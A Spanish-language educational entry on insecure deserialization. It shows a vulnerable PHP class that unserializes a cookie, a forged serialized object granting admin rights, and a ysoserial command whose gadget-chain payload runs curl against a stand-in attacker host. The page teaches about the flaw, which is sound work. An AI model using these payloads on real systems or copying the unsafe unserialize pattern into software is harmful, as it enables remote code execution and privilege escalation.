Deserialization
CríticoInsecure Deserialization / Deserialización Insegura
Definición
La Deserialización Insegura ocurre cuando una aplicación deserializa datos no confiables sin validación adecuada. Los atacantes pueden manipular objetos serializados para lograr ejecución remota de código, escalada de privilegios o manipulación de datos. Afecta a lenguajes como Java, PHP, Python, Ruby y .NET.
Impacto
Ejemplos
PHP Object Injection
La aplicación PHP deserializa datos de una cookie sin validación. El atacante construye un objeto serializado con propiedades modificadas (isAdmin: true), que al deserializarse crea una instancia con privilegios de administrador.
// Clase vulnerable en PHP
class UserPreferences {
public $theme = 'light';
public $isAdmin = false;
public function __destruct() {
if ($this->isAdmin) {
// Operación privilegiada
}
}
}
// Deserialización insegura
$prefs = unserialize($_COOKIE['preferences']);
// Payload del atacante (cookie serializada):
O:15:"UserPreferences":2:{s:5:"theme";s:4:"dark";s:7:"isAdmin";b:1;}
// isAdmin se establece como trueJava Deserialization con ysoserial
Las aplicaciones Java que usan ObjectInputStream para deserializar datos de entrada son vulnerables. La herramienta ysoserial genera payloads que explotan 'gadget chains' en bibliotecas comunes como Apache Commons para lograr ejecución de código.
# Generar payload con ysoserial java -jar ysoserial.jar CommonsCollections1 'curl http://atacante.com/pwned' | base64 # Enviar como cookie, header o body según el vector: Cookie: session=rO0ABXNyADJvcmcuYXBhY2hlLm... # Cuando el servidor deserializa (ObjectInputStream.readObject()), # se ejecuta la cadena de gadgets que resulta en RCE